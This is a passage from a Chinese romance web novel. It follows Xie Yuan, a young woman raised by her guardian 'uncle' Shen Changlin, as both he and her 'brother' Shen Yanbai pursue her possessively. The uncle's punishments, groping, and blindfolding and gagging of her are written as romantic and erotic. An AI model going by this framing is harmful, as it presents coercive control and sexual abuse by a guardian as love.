临走前她又回身抱住谢沅,揉了揉她的头发:“等有空了,外祖母还会常来看沅沅的,你要是有时间,也可以跟你叔叔说,假期来我这边玩。”
江夫人没让谢沅多送。
八月多夜间已经有些凉了,她身上的礼服短裙单薄,不久前又刚刚起了烧,哪好叫孩子再累着?
沈长凛送江夫人上车,他果然不喜欢谢沅跟旁人接触太多。
外祖父想把谢沅嫁给旁人,外祖母更好,直接给谢沅灌了迷魂药似的。
小孩子好哄好骗,别人对她好一点,就像猫崽子般巴巴地跟上去了,天真懵懂,眨着一双水眸,丝毫戒备心都没有,什么话都往外说。
沈长凛漫不经心地说道:“您说要帮我的,结果全帮到您自己头上了。”
江夫人坐在车里,她戴上礼帽,笑容和蔼:“确实没帮上忙,抱歉,不过我倒要谢谢长凛帮我许多。”
沈长凛神色微怔。
“第一回见面,”江夫人温声说道,“要不是因为你,我也没法被沅沅爱屋及乌,这样认真地对待。”
她系好帽带,眼里尽是笑意。
“你不用找我来帮,也不用找任何人来帮,”江夫人摆了摆手,“但是沈长凛,你自己得弄明白你的心,然后在恰当的时间做恰当的事。”
她的言辞含蓄,透着的意蕴却很昭然。
沈长凛的瞳孔微微收缩了一下,他下意识地想要再多问一句,江夫人的轿车便已经启动了。
他站在夜色里,沉静地站了片刻,然后回过身,微微地扬起唇角。
在商场上最重要的都是决断和判断。
情场上其实也亦然-
谢沅很喜欢外祖母,她这两天书也不看了,每天都捧着平板在看江夫人的商业帝国,在社交平台上将她旗下的公司关注了一个遍,刷外文新闻都刷得不亦乐乎。
直到周五的下午,看到沈宴白发的消息,才想起之前答应他的事。
他发来的是一个餐厅定位,恰是谢沅很喜欢的那家私厨。
她觉得很巧,跟沈长凛说过后,就准备出发了。
因为是沈宴白的邀约,他直接就应了,只是提醒道:“不能喝酒,不能回来太晚。”
谢沅当然记得,她乖巧地点头,然后就让司机送她过去。
到达包厢后,她才发觉今天晚上的邀约不是聚会,包厢里也只有她和沈宴白两个人。
几乎是被一种本能警告着,谢沅的心弦紧绷起来,言辞也有些磕绊:“哥、哥哥,今天只有咱们两个吗?”
沈宴白淡然地点了点头:“对。”
谢沅强作镇定,看向沈宴白:“那我们要不去外边吃吧,哥哥?靠窗那边风景很好的。”
但话音未落,沈宴白就打断了她。
他似笑非笑地说道:“不用给我省这个钱,沅沅。”
明明是再熟悉不过的哥哥,谢沅却在沈宴白的身上觉察到了一种诡谲的陌生感。
两人之间是隔了些距离的,可那段距离并不能给她带来安全感。
沈宴白唇边含笑,看向谢沅:“上次原本就想请你过来的,只不过你突然去了瀛洲,没能得空。”
他的神情自然从容,就像是个真心实意待妹妹的兄长。
谢沅却是控制不住地感到怪异和害怕。
她抿了抿唇,低声说道:“抱歉,哥哥,我……那时候不知道你想请我用餐。”
沈宴白看向谢沅,慢声说道:“没事,现在也是一样的。”
他语调轻柔,目光却是那样锐利,那样意有所指。
两人的视线在空中交错,碰撞,被迫牵扯在一起,谢沅如惊弓之鸟般地抬眸,她一下子就站了起来,颤声唤道:“哥哥!”
第45章
暗恋是默不作声的,也是难以遮掩隐藏的。
就像是长在黑暗角落里的花,开得毫无声息,败得也毫无声息。
在漫长酸涩的青春,谢沅见沈宴白换过无数任女友,也见过他为明愿痴迷发疯。
他的世界缤纷宏大,她的世界枯燥乏味,虽同住在一个屋檐下,但他们云泥之别,绝不是一个世界的人。
即便是最澎湃的少女时期,谢沅也不敢幻想有一天沈宴白会回头,看见缄默沉闷的她。
她做过最美的梦,是在夏天的傍晚——
沈宴白绕过漫长的回廊,走到露台边,轻声唤她:“该用晚餐了,沅沅。”
他的眼里没有厌烦和不耐。
仅仅是这样简单的情形,其实都是只会在谢沅梦里才出现的。
那回郊游时,在暴雨中的相救,就是现实中的他们交集最亲密的一次了。
谢沅会为一道数学题目钻研半夜,会为一本哲学原典阅读通宵,但在这件事上,她并不执着,也不敢执着。
毕竟这是没有可能的事。
尤其是在这半年里,在和沈长凛意外共枕后,谢沅再也没敢对沈宴白有一丝一缕的幻想。
但她怎么也想不到,此时的沈宴白会用这样侵略意味极浓的眼神看她。
谢沅的手撑在桌案上,身躯不断地颤抖。
她的脑中阵阵地嗡鸣着,几乎要没法思考,沈宴白平静地站起身,他个子高,阴影落下时会产生一种微妙的压抑感。
“别怕,沅沅。”他淡声说道,“哥哥不是想怎样。”
沈宴白没有向谢沅走近,他的语调也是平和的:“哥哥只是有些事情想问问你。”
她的额前冷汗涔涔,眸里也透着惧意,并不能放松下来。
封闭的空间,会让人本能地感到恐惧。
谢沅竭力保持平静,嗓音却在颤抖:“那……那我们能不能去外面说,哥哥?”
沈宴白居高临下,他看了谢沅片刻,没有说话,当她以为他是要拒绝的时候,沈宴白轻声说好。
走出包厢时,她的腿仍然是软的。
谢沅本能地就想要逃避,她下意识地眺望电梯的方向,心里乱得像是一团麻。
但沈宴白没有给谢沅这个机会。
他的手臂虚揽在她的腰间,像带情人一样将她带到窗边的位子,甚至将她装着手机的小包也拿走了。
沈宴白声音轻柔:“哥哥帮你拿。”
他生得好,容貌英俊到走在大街上,都会被人误以为是明星,姿态中又带着桀骜的痞气,很惹女生瞩目。
沈宴白是天生的风流客,太多人为他先仆后继。
哪怕他想要收心,也有无数人执着不息。
这段时间沈宴白忙于公事,连女友都暂时没交,可总还有很多人在隔空告白,无数的鲜花送往前台,还有更尊贵到谢沅想不出的人,也在暗中打探他的消息。
连跟沈宴白一起到餐厅,沿路都有数不清的人在看他。
谢沅被那些若无若有的目光,盯得额前冒汗,她未能挣扎,手里的小包就已经被沈宴白拿走了。
她身上的裙子轻薄,在包厢里还好,一到外面便有些冷。
谢沅的身躯微颤,沈宴白皱了皱眉,将外衣脱下,披到她的身上:“天快冷了,下回别穿裙子了。”
七月流火,天渐转凉。
阳历的八月末,已经没那般燥热了,但沈宴白这样做、这样说,并不全是为了谢沅身体的康健。
真是奇异。
以前谢沅穿再短的裙子,他都没什么感触,只偶尔会觉得她的腿太白了。
但是现在,一留意到暗处男人们窥探的视线,沈宴白的眸色便有些晦暗,以前交的那些女友,有极其开放的,甚至开放式关系,他也玩过一段。
他一直觉得,彼此之间稍留些分寸是最好的。
沈宴白自己就是风流的人,对伴侣的要求一直不是很高,特别是在国外这些年。
谢沅却是不一样的。
如果可以的话,他也想像沈长凛一样,把她关在家里,用一种温柔的方式,将人给藏起来。
血脉里涌动着的是恶欲。
是埋葬在灵魂深处,绝不轻易出现,但一旦冒头就摧枯拉朽的恶欲。
沈宴白低眼看向谢沅,一直等她落座后,虚揽在她腰间的手才松开。
他们坐在窗边,夜风无声息地吹进来,吹淡了那股深重的压抑感,很快餐点也一一上来。
谢沅捧着冰激凌杯,眼眸低低地垂着,根本不敢抬眼看沈宴白。
但消极的抵抗是没有任何用处的。
沈宴白没有坐在另一边,而是坐在了她的外侧。
两人的距离比刚才在包厢里时更近,谢沅几乎能闻嗅到沈宴白身上的木质暗香,很淡漠,却又如影随形,快要沾染到她的衣上。
餐点已经上来。
沈宴白将餐碟调整了一下,然后把谢沅手里的冰激凌杯拿走,让她先用热的正餐:“你脾胃不好,少吃些冰激凌。”
粉色的冰激凌杯被放回到冰里。
谢沅执着筷子,却怎么都提不起胃口,眼眸里也尽是无措。
都是她很喜欢的餐点,但她现在是一点也用不下。
谢沅抬起眼睫,眸里的水光不断摇晃,声音也是颤抖的,带着几分哀求:“哥哥……”
沈宴白用公筷帮她夹菜,语调很轻:“先吃点东西,沅沅。”
他的言辞和沈长凛有一瞬间重合了,那种不容置疑的强势,让谢沅本就焦灼的内心更加痛苦,但沈宴白比沈长凛要更冷情许多。
她全然没有办法,被迫用着晚餐。
香甜的饭食,在今天全都味如嚼蜡。
直到谢沅吃得差不多,沈宴白才将冰激凌杯又递给她,他很重用餐礼仪,她在他跟前用餐,总是很受折磨,连餐叉碰到杯盏都会紧张,加上心里本就惧怕,更加难熬。
短短的两刻钟,过得度日如年。
谢沅捧着冰激凌杯,掌心是沁凉的,眉眼也像是沾染了霜雪一般。
长睫低低垂着,有泪珠在轻晃,一双水眸宛若承雪明珠,神情既娇又弱,细小的风雨就能折断这段花枝,将她的花瓣全部打落。
可谢沅被保护得这么好。
养她的人到底是有多克制,才会不将她给采撷?
沈宴白眸色晦暗,声音微哑:“沅沅,你跟叔叔,现在是什么关系?”-
谢沅回到家时,卡的是十点的门禁,她的思绪全都是乱的,眼尾泛红,长睫濡湿,一进卧室就立刻脱掉衣服去沐浴。
身躯都被温水浸没时,她怦怦直跃的心跳声才没那样震耳。
谢沅原本是不会水的,但之前学了很久的冲浪和游泳,也渐渐学会在水中屏息。
她一直学不会的是在接吻时换气。
最初的时候,沈长凛不知道谢沅不喜欢烟味,他在露台边抽烟看文件,叫她过去。
她在这方面放不开,无论是那时,还是现在。
谢沅生涩地坐在沈长凛的身边,然后被他抱到怀里,他们刚在一起,他还对她怀有暗怒,加之又是第一次养人,有时将她弄得很过。
她学不会接吻,也被他当作是不情愿。
谢沅被迫坐在沈长凛的腿上,烟草的气息昂贵,并不难闻,她只是不喜欢。
但拒绝的话语,又是怎样都说不出来的。
沈长凛掐着她的下颌,逼着她张开樱唇,长驱直入的吻让她连胸腔里都发闷,然后拂过脸庞的是烟气,她喘不过气,只能趁被他吻时,窃取少许的气息。
一场吻下来,谢沅心里只余下惧怕。
她从前就怕沈长凛,现在更怕了,她怕他的手段,怕他的目光,怕他的指节。
谢沅什么都怕,在几次被迫的学习后,更加害怕接吻,也更加学不好这在情爱中最入门的一项功夫。
许是因为她学得太差,沈长凛也渐渐没了兴致。
他禁欲克制,为人其实很冷淡,对女色也向来没有兴趣,那种对欲念和情感的漠然是藏在秦家人血脉里的事物。
秦老先生是这样,沈夫人是这样,沈长凛也是这样。
谢沅私下里学过,也含着樱桃尝试过,却怎样都学不好。
然后他们很久没有接吻,就是近来才将这桩事又提上议程,但谢沅还是不会换气。
她将身躯完全地没入水中。
浴缸很大,水也很深,快要给谢沅一种悬浮感。
但她没能在水里待太久。
沈长凛抬手就将谢沅从水里抱了起来,他俊美的容色有些微乱,眉眼里也蕴着惊怒:“你干什么呢?”
今晚谢沅和沈宴白一起出去。
虽然家里有门禁,但沈宴白的那群朋友,总爱带谢沅玩到深夜。
沈长凛在外面处理事情,会开到了九点半才结束,没想到回家时谢沅已经回来了。
沈宴白明天休息,让人将她送回来后,还在外面待着。
谢沅的卧室安静,浴室里也没有声息,沈长凛打算去露台边寻她时,才发觉浴室里有一盏小灯是亮着的。
因为常要盘头发,她的乌发留得越来越长。
像绸缎般乌黑浓密的长发,悬在水面之上,瓷白的雪肌全都浸没在水里,极深的黑和极淡的白,交织相撞,形成一种病态的美感。
沈长凛的神情却骤然就变了。
谢沅曾经是自杀过的。
将她从水里抱出来后,沈长凛眼底的惊怒仍然未褪,谢沅睁着水眸,懵懂地看向他:“我没干什么呀,叔叔。”
她的神情愣怔,好像全然没有反应过来。
沈长凛稍迟地意识到,方才是他反应过度了,他的薄唇微抿,轻搂过谢沅的腰身,将她抱回到床上。
“没事,”他轻声说道,“今天回来这么早?”
沈长凛很自然地转移话题,然后帮谢沅开始吹头发。
她枕在他的腿上,编织谎言道:“哥哥他们要去别处玩,让我先回来了。”
沈宴白的那些朋友玩得很花,许多东西都是沈长凛明令禁止的,谢沅跟沈宴白没有对过词,不过这种小事,沈长凛应该也不会多管。
她心里有些紧张,却到底还是将谎话给说完了。
沈长凛听完却是低笑一声。
他揉了揉谢沅的头发,声音很温和:“也没有都不可以,如果真的很想玩,也可以去试试。”
头发很快就吹干。
谢沅身上只披了浴袍,腰间的系带松松垮垮,指节轻轻一勾就能挑开。
玉骨雪肌,樱色缭绕。
之前挨罚挨得很重,但现在臀肉上的肿处已经全好了,绵软的、浑圆的雪白嫩臀又恢复如初。
谢沅体态纤细,浑身上下的肉都长在了这一处,她俯身将床上的书册给拿起,宽松的浴袍将那水蜜桃般的柔软勾勒分明。
腿心处是浅浅的阴影。
谢沅毫不设防地软下腰身,丝毫不曾意识到,她在做这个动作时,肉臀是自然而然翘起的。
沈长凛正在跟人通电话,刚一回过身瞧见的就是这样一幕。
他的眼底晦暗,声音也有点哑:“还有事情的话,明日再谈吧。”
谢沅执着书册,将精致的叶子书签轻轻地放进去,然后把笔记本也一起收起,她想将东西放到床头柜上,又懒得再绕一圈,单膝跪在床上,就把东西放过去了。
但东西刚刚放好,纤细的腰肢就被掐住。
男人的指节修长苍白,轻易就攥住了那不经盈盈一握的细腰,然后收拢在掌心。
谢沅全然没能反应过来,视线就迎来了天旋地转,她的长睫颤动,贝齿也咬住了樱唇,在餐厅时,她刚跟沈宴白谈过话。
他反复跟她强调,她已经是大孩子了,和叔叔相处时要注意界限。
可出于她自己都没能弄明白的缘由。
在沈长凛颜色稍浅的眼眸看过来时,谢沅像是受到极大的蛊惑,她分开柔膝,本能地就攀上沈长凛的脖颈,然后吻上他冰凉的唇。
边限被打破就是在那么一瞬间。
谢沅的哭腔破碎,被吻得不住想要躲避,但腰身却被攥得更紧,几乎要掐出青紫来。
在一吻结束时,她连连求饶:“我不行了,叔叔……”
沈长凛轻笑一声,俊美的面容在微光下有种惊心动魄的瑰丽,他抚了抚谢沅的脸庞,声音低柔:“别现在就开始哭,沅沅。”-
谢沅什么都能忍下来,唯独不能克制得了泪水。
她就好像是水做的小姑娘,轻轻碰一下,就会掉下来眼泪,颗颗宝石般的泪水扑簌簌地往下落,哭得叫人可怜。
翌日早上起来,谢沅的眼眸就肿了。
眼尾和眼皮都是红的,肿得像桃子一样,沈长凛帮她用东西冰敷了好久,然后才肯下楼。
他今天没事,要带她出去玩,试之前新订的游艇。
燕郊有海,但要先开车过去,谢沅昨晚累坏了,睡了一路,睁眼就见到了海,港湾边停着的就是她的游艇。
白色的游艇外形流畅,颜色也很漂亮,艇身上有两个交扣在一起的圈圈。
是沅沅的意思。
谢沅一点都不懂行,根本看不出来造价如何,只觉得真的很好看,比霍阳那艘定制的四千万游艇还要更好看。
她戴着遮阳帽,被沈长凛牵着走进驾驶室。
因为沈宴白父亲的事,沈家对车一直都有点忌讳,沈长凛管谢沅又格外严格,她连方向盘都没摸过,坐到游艇的驾驶台前时,整个人都是懵然的。
她指了指自己,无措地抬眸:“要我来开吗,叔叔?”
八月多太阳还是很毒,沈长凛戴了墨镜,手臂撑在中控,身形高挑瘦削,仅仅是那样站着,就要将人的视线全部夺走。
他平常带谢沅出来不多。
沈长凛事务繁忙,谢沅又胆小怕生,两人最多会一起在外面用餐,这还是第一次带她全心全意地玩。
他轻笑一声,说道:“当然,这是你的游艇。”
沈长凛含笑问道:“叔叔是客人,你要让客人来帮你开吗?”
他一边轻声细语,一边扶着谢沅坐下,她颤抖着手扶上方向盘,人都快要抓狂:“可是我不会呀,叔叔!”
这一定是她这辈子对沈长凛最硬气的一回。
海洋一望无垠,虽然不算很蔚蓝,但在宝石蓝色天空的映衬下,开阔得近乎不可思议。
游艇其实比车还要更好开一些,尤其对谢沅这样的新手来说,她没有信心,打死都不肯操作,沈长凛没有办法,只能先将她抱在膝上。
他有段时间没玩,上手却还是很快。
谢沅坐在沈长凛的怀里,死命地攀住他的脖颈,终于明白为什么有人会说比起燕城现在这些公子哥,沈家的那位家主才是真正的顶级贵公子了。
要论玩得狠,谁能比得过沈长凛啊?
跟霍阳一起的时候,谢沅都没有这样窘迫过,速度实在是太快了,快到她连眼睛都不敢睁开。
她紧紧地搂住沈长凛的脖颈,嗓子都要喊哑了。
海水初始是灰蒙蒙的,但是越往前,就越加的清澈,隐约有蔚蓝之兆。
在港湾时,还有些人迹,深入海洋后,却是只余下了飞鸟。
沈长凛戴着墨镜,一手托住谢沅臀根的软肉,一手扶着方向盘,神情里带着些散漫,全无平日的持重和淡漠。
满身气度矜贵,却偏生透着几分年轻的张扬和随性。
能和沈长凛错开一辈,沈宴白真的是太幸运了。
如果是同样的年龄,同样的辈分,一说起沈家的大少爷,所有人的第一反应定然会是沈长凛,绝非是沈宴白。
谢沅坐在沈长凛的怀里,心跳被昨日直面沈宴白的问题时,还要更快。
燕大的心理学很强势,所以大家基本都要学点心理学,在上通识课的第一天,她就学到一个概念,叫做吊桥效应。
海上是没有吊桥的。
可是谢沅的心脏却在狂跳。
等到海域逐渐蔚蓝过后,沈长凛将游艇的速度减缓,然后覆上谢沅的手背,教她控制方向盘:“来试一试,沅沅。”
海风把谢沅的头发全都吹乱了。
沈长凛一边教她开,一边取出发圈帮她把长发束起。
刚开始时,谢沅的掌心全都是汗,但是海面实在太开阔了,这跟陆地上是完全不同的体验,她往什么方向开、怎么开都是可以的。
她握紧方向盘,慢慢地学习调转方向、加速减速。
临到正午时,已经掌握了大半。
回到港湾时原本怕的不行的小孩子,反倒开始有些恋恋不舍,沈长凛俯身吻她,声音轻柔:“游艇已经是你的了,想什么时候来玩都行。”
他摘下墨镜,浅色的眼眸里有微光在浮动。
“不过我要是不在,得有人陪你才行。”沈长凛低声说道,“听到了吗?”
谢沅的腰身被他揽着,人也快要完全倒进他的怀里。
她开游艇时很快乐,下来时腿还是有些软,声音也发颤:“听、听到了,叔叔。”
两人在外面用的午餐,顶层的餐厅处处都是鲜花,餐厅负责专职照相的侍者给谢沅拍了很多照片,她怀里抱着鲜花,笑靥甜软,身上的白裙也透着纯真。
全然就像个无忧无虑的少女。
海湾的风景很好,晚上时还有烟火。
沈长凛倚靠在窗边,修长的指节扣在杯子的杯口,轻声向那神色恭敬的经理问道:“你们这里,承接婚庆的事宜吗?”-
谢沅跟着沈长凛回到家时,已经是傍晚了。
白昼玩了一整天,这会儿她都有些累了。
天边是流光溢彩的晚霞,谢沅从车上下来,怀里还捧着花,那餐厅的花很多,不过谢沅怀里这一捧的确是专门定制的。
她对花一向上心,到家后连鞋子都没换,就说要先去把花处理一下。
沈长凛还能说什么?自然是惯着人先去侍弄花了。
因为是周末,沈宴白今天也在家里,他昨晚回来得迟,白天睡了很久,中午才醒过来,知道沈长凛带谢沅出去了。
傍晚听到他们回来,他也从楼上下来。
谢沅走得很快,和沈宴白刚好错开,他下楼时就只看见了叔叔沈长凛。
晚餐已经备好了,谢沅今天玩得累,应当能比平时多用些。
见到沈宴白过来,沈长凛轻轻看了他一眼,像个模范叔叔般地问道:“最近累吗?我看了你的体检报告,肺病还有些问题,要不要去滨城休养一段?”
燕城是现代化大都市,什么都好,就是空气质量实在太差。
沈宴白肺一直不好,冬天常是在滨城过的。
小时候,更是有一段时间完全地在滨城养着。
“不用,叔叔。”沈宴白下意识地就说道,“……我这段时间烟抽得有点多,以后我会注意的。”
烟酒是肺病的大忌,但他又有轻微的烟瘾,虽然不重,但很难戒掉。
沈长凛笑了一下,轻声说道:“那是要注意些了。”
他就是这样的人,何时语调都是低柔平和的,明明没什么压迫感和告诫意味,但却又很令人生畏。
沈长凛关心了一下沈宴白,便没有再多说。
须臾,他方才状似不经意地问道:“对了,昨天你带谢沅去玩的时候,霍家那孩子在吗?”
霍阳是何等纨绔,也就沈长凛会用“那孩子”来称呼他。
沈宴白愣了一下才反应过来,他笑着说道:“没呢,叔叔,我昨天只带沅沅吃了饭,然后才跟霍阳他们走的。”
沈长凛掀起眼皮,轻声说道:“是吗?”
第46章
谢沅将鲜花仔细地处理了一下,然后放进盛有水的花瓶里。
花束的色泽秾丽,那样大的一捧,被她抱在怀里时,像是瑰丽绚烂的一团火焰。
从海外空运来的新花芳香馥郁,随着她走了一路,还是这样鲜妍。
谢沅拍了好多张照片,存在相册里。
自从开始养花后,她越来越喜欢拍照片了,相册里都是各式各样的花,她顺便也发给了沈长凛看。
等将花处理好后,谢沅方才换衣服下楼。
她踩着兔子拖鞋走下楼梯,一抬眸就看见了和沈长凛站在一起的沈宴白。
两人站得很近,似乎是正在谈论什么东西。
因为是正对着楼梯的方向,沈宴白更早地留意到了谢沅,他的眼帘微抬,向她投去了一道视线。
他的神情很平静,但只是那样简单的目光,她便禁不住地生惧。
谢沅强作镇定,从楼梯上走下来,然后向两人问好:“叔叔,哥哥,晚上好。”
沈宴白点点头,淡淡地嗯了一声,沈长凛漫不经心,轻声说道:“用晚餐吧。”
谢沅坐在沈长凛的左边,沈宴白坐在沈长凛的右边。
两人方才在谈公事,一边用餐,一边继续交谈,谢沅是插不进去话的,她安静地吃着晚餐,将存在感竭力压低,但沈长凛的目光还是落了过来。
他轻声说道:“吃蔬菜,沅沅。”
沈宴白也发觉了,他眉心微皱:“少吃点甜品,你最近吃得甜食有点太多了。”
自从沈宴白回国后,他对谢沅渐渐改观,也不似从前那般总是针对她,把她视为空气了。
外人见到这样的情形,只会觉得他们一家三口关系真好。
叔侄相得,兄妹相亲,比流着完全一致血缘的家人还要更亲近。
可是无人知悉,在之下的暗流涌动。
谢沅声音打颤,细声应道:“好……哥哥。”
她低垂着眸,长睫之下却氤氲出了水意,纤细敏感的腰肢被男人的指节轻轻扣住,带着薄茧的手指撩开裙摆,存有惩诫意味的拍了拍她的肉臀。
轻得一点声音都没有,可她的眼尾瞬时湿红起来。
谢沅脸皮薄,最怕在人前被逗弄。
她强忍泪意,执着餐叉的手臂却不断地在颤抖。
沈长凛连目光都没有落过来,他看向沈宴白,轻声说道:“那家私厨沅沅最喜欢,就是时令不对,你们下次要是再去,可以点他们的招牌试试。”
在家里用餐是很随意的。
聊公事也可以,聊私事也可以,话题怎么跳转都没问题,甚至不须要思考。
沈宴白笑着说道:“多谢叔叔提醒,我是第一次去,您要不说,我还不知道呢。”
沈长凛唇边含着笑意,眼神这时才落到谢沅身上:“沅沅没告诉你吗?”
谢沅就是再蠢笨,这会儿也明白事情是怎么回事了,沈长凛对她的行程很了解,出门做了什么她也会主动说,所以他几乎不会去再查。
沈宴白无心失语,却将事情泄露了出去。
哥哥为什么不帮她掩饰呢?
谢沅心底无措,但很快她就没有空闲去思考沈宴白的事。
攥着腰身的那双手动作很轻柔,带来的震颤感却极强,不轻不重地将她的细腰收拢在掌心。
谢沅怕得厉害,眼眸里尽是水意,差些就要掉下泪来,她的手臂颤抖,勉强地揉了揉眼睛,弱声说道:“我……我忘记了,叔叔。”
她抬眸看向沈长凛,满眼都是乞怜的哀求情绪。
但沈长凛一点要放过她的意思都没有。
早就已经消退痕印的肿处被再次抚过时,谢沅忍不住地想要颤动,可在沈宴白的视线下,她一动都不敢动。
趁沈长凛的视线落在别处时,沈宴白唇边带着笑意,朝着谢沅看了过来。
他的目光带着些侵略意味。
那样幽微,又是那样直接。
谢沅快要被堆积的感触给逼疯,她低垂着眼眸,慌乱地错开沈宴白的视线,贝齿也无法克制地咬住唇瓣。
一场晚餐下来,她的后背都要被热汗浸湿。
万幸接下来两人还有事情要处理。
谢沅坐在有软垫的椅子上,轻抿着唇,细声说道:“叔叔,我还想再喝一点椰汁。”
她满眼都是恳求,千方百计寻借口,不想立刻离开。
腰是软的,腿也是软的,谢沅这会儿无论如何都站不起来。
“好,”沈长凛轻声说道,“喝完以后来书房。”
他的语调低柔,谢沅心里的恐惧却更重了,她最怕去沈长凛的书房,每次过去,都要做足心理准备,才敢推开那扇门。
但她丝毫不敢拒绝,只能点头应是。
等到两人离开后,谢沅脱力般地趴在餐桌上。
她的眼眸红红的,腰眼都被攥得发麻,长睫不断地颤抖,就像是被弄坏了的花朵,
白嫩的小脸压在深色的桌案上,隐约压出红痕。
谢沅攥着杯子,过了好久才缓过来,今天她跟沈长凛出去了一天,难得没惹他生气,万万没想到,在晚间还是出了问题。
她的心底都是纷乱的。
自从昨天被沈宴白带去私厨后,谢沅的思绪就没有理顺过。
哥哥是风流的人,身边也从没有少过女人,谢沅一直想要回避,但她其实也知道,沈宴白玩得很乱也很花。
他从来都不是世俗意义上的好男人。
但谢沅从来没有想过,沈宴白会将兴趣放在她的身上。
前不久因为断去联姻而短暂退去的破禁感,再度涌了上来,她的手指抓握在一起,然后又无力地松开,全然不知道要怎么办。
谢沅几乎不敢想象,如果沈长凛知道她和沈宴白有牵连会如何。
要是因之让他知道,她曾经那样长久地恋慕过沈宴白,她更是死路一条。
谢沅几乎不敢去想那个后果。
原本明朗的态势,在沈宴白充斥侵略意味的视线落下后,又变得迷茫纷乱起来。
有黑暗的情绪,在无声息地侵袭。
谢沅偏头看向落地窗外的花朵,夜间盛放的花朵闭合,花苞也低低地垂落,被风拂过时,不断地打着颤-
谢沅在楼下待了许久,才提起勇气上楼找沈长凛,沈宴白刚从他的书房出来,他轻声说道:“先等一下吧,叔叔在跟人通电话。”
昨天在外面,沈宴白的姿态强势。
谢沅害怕,脑中又混乱,除却被他教育了一顿,什么反抗也没能做出来。
现在是在家里,长廊里铺着地毯,寂静无声,幽暗深邃。
她没必要那么怕的,可是沈宴白的目光落下来后,谢沅几乎是控制不住地想要颤抖:“哥哥!”
他的手臂撑在她的身侧,声音里带着笑意:“你怎么这么笨,连谎都不会说?”
沈宴白的手里还拿着一份文件。
他俯身时,身上的木质暗香无声侵袭而来,没有非常强的攻击性,可谢沅的心弦一下子就乱了。
沈宴白的头颅低垂,两人的距离拉近,他快要碰到她的颈侧。
前所未有的脱轨感快要把谢沅逼疯。
就是在和叔叔意外共枕,第二天见到秦承月时,她的心里也没有那么混乱过。
沈宴白的指节撑在谢沅的耳边,再稍微往下落些,就能碰到她的脖颈,他漫不经心地说道:“刚刚用晚餐,为什么一直看叔叔,看都不看我一眼?”
“之前不是教你,要和长辈保持距离感吗?”沈宴白低眼看向谢沅,“你就是这样做的吗,沅沅?”
他的话语好像冠冕堂皇,但透着的却全是错乱的情绪。
谢沅并不知道沈宴白和女友们是怎样相处的。
她只是在这个瞬间,感受到了由衷的恐惧,再一想到书房里的沈长凛,她更是怕得厉害。
“您别这样……”谢沅带着哭腔说道,“哥哥,求您了。”
她含着泪,抬眸看向沈宴白,思绪快成了一团浆糊,连思考的空间都寻不到。
谢沅年纪太小,经历也太少,简单的言辞都能将她给吓坏,也就是她幸运,得到了沈长凛的庇护。
不然依她的性子和相貌,早不知被人掠夺了多少次。
圈子里有些人做事惯来随性,看上的女孩,千方百计也要夺来,沈宴白却从来没有这样过,他在情场太得意,从来就只有旁人不顾一切想要爬上他床的份儿。
他还未曾认真追求过谁。
就是当初跟明愿在一起的时候,也是她一直在追他。
沈宴白觉得挺有意思的,谢沅这么柔弱,这么不经风雨,抵抗他倒是抵抗得挺干脆。
是之前将她欺负得太狠了吗?竟然这么怕他。
“别怕啊,沅沅。”沈宴白轻声说道,“哥哥没想怎样你。”
从昨天晚上,他就仿佛是变成了另一个人似的,充斥恶欲和病态的念头,陌生得叫谢沅害怕。
她的身躯颤抖,无力地抵抗着沈宴白。
“您别这样……哥哥。”谢沅侧着脸庞,眼尾湿红,“我是将您当兄长看待的,之前我不懂事,总是打扰您,求您原谅我吧。”
“如果……如果您是厌烦我,想要报复我,”她颤声说道,“我求您能不能换一种方式?”
昨天就不该看她可怜,放她走的。
这一句句,说的都是什么话?
沈宴白的容色阴翳下来,他冷声说道:“你觉得我现在是想要报复你?”
他的话音刚落,书房的门便打开了,谢沅睁着水眸,正欲跟沈宴白再说什么,就对上了沈长凛的视线。
他的目光平和,声音也带着些漫不经心:“吵什么呢?”
谢沅的身躯颤了一下,她看向沈长凛,低头应道:“没什么,叔叔……”
沈宴白的容色也有些微僵。
他垂下眼帘,低声说道:“没事,叔叔,我们没说什么。”
时候已经不早了,沈宴白还有事情要处理,说完以后,他就跟沈长凛告别。然后离开退了下去。
这边的隔音很好,长廊里又铺着地毯,脚步落上去后一点声音也没有,安静得令人畏惧。
沈宴白可以走,但是谢沅却离开不了。
沈长凛的眼眸颜色稍浅,背着光时也仿佛有微芒,被他温柔看过来时,总会让人产生一种错觉,自己是被很认真对待的。
但此刻那双眼里,什么和柔的情绪也没有。
沈长凛的眸色晦暗,他全然无视谢沅眼里的恐惧,轻轻地将她抱起,带进书房里:“方才都跟他说什么了?跟叔叔也说说,嗯?”
她的身躯瑟缩,却连指节也被残忍地掰开。
男人修长的指骨抵入指缝里,将谢沅攥紧手指的可能都给剥夺了。
沈长凛的眼底是一片深暗,浓郁的沉黑如若深渊,几乎要将人吞噬,他动作轻柔,揉过谢沅的唇瓣,声音越来越温柔:“不想说吗,沅沅?”
许久未到访过的深重恐惧,在那个瞬间全都袭来了。
谢沅甚至没能寻到讨好沈长凛的机会。
她反应迟钝,一直不擅长说谎,唇瓣颤动了许久,也没能想好要怎么解释。
于是她解释的可能被剥夺了。
眼眸被蒙上后,樱唇也被迫含住了无法发声的物什,能够继续落下来的唯有泪水,数不尽的泪水。
夜色深黑,浓重的云层遮掩住了月色,丝缕的光线都照不进来。
黑暗的蚕食力总比其他颜色要强得多,当黑暗降临的时候,任何光芒都很难会有迸射的可能,更遑论是光明-
谢沅是后半夜才睡过去的。
准确来说,是昏过去。
恶欲和暴虐的情绪是冰冷的,也是难以克制的,并不会因为许久未曾到访,就稍作温和少许。
白昼时心绪有多温和,现在就有多深寒。
沈长凛将谢沅抱回到床上,她把那束花仔细地修建好,放进床头的花瓶里。
新花的芳香馥郁,在夜色里也瑰丽秾艳。
对陌生的、新得的花她都能那样上心,可对将她精心养了五年的人,她的确是一直这样残忍。
沈长凛有时候很想剖开谢沅的心,看看她到底在想什么,她为什么能一边哭得那么可怜,一边坚持到底不肯供出沈宴白半句?
真就那般情深似海,念念不忘吗?
当初的事已经过去半年有余,但只要一想到那时的事,沈长凛便觉得有恶欲会立刻侵袭而来。
他血脉里带着冷淡,甚至想过终身不婚。
外祖父和母亲是因为身份特殊,不得不联姻,沈长凛是不必的,他也没有任何嫁娶的念头。
他的骨子里就带着些冷情,年少时就与情爱绝缘。
直到那个纷乱的夜晚,沈长凛才第一回明白为何人都将情欲称为焚心毁念之物。
意识到对谢沅的情感后,他先是去国外待了一个月,回来时才意识到情绪的侵蚀是那般可怖,但无论情感有多浓烈,在那时都是可控的。
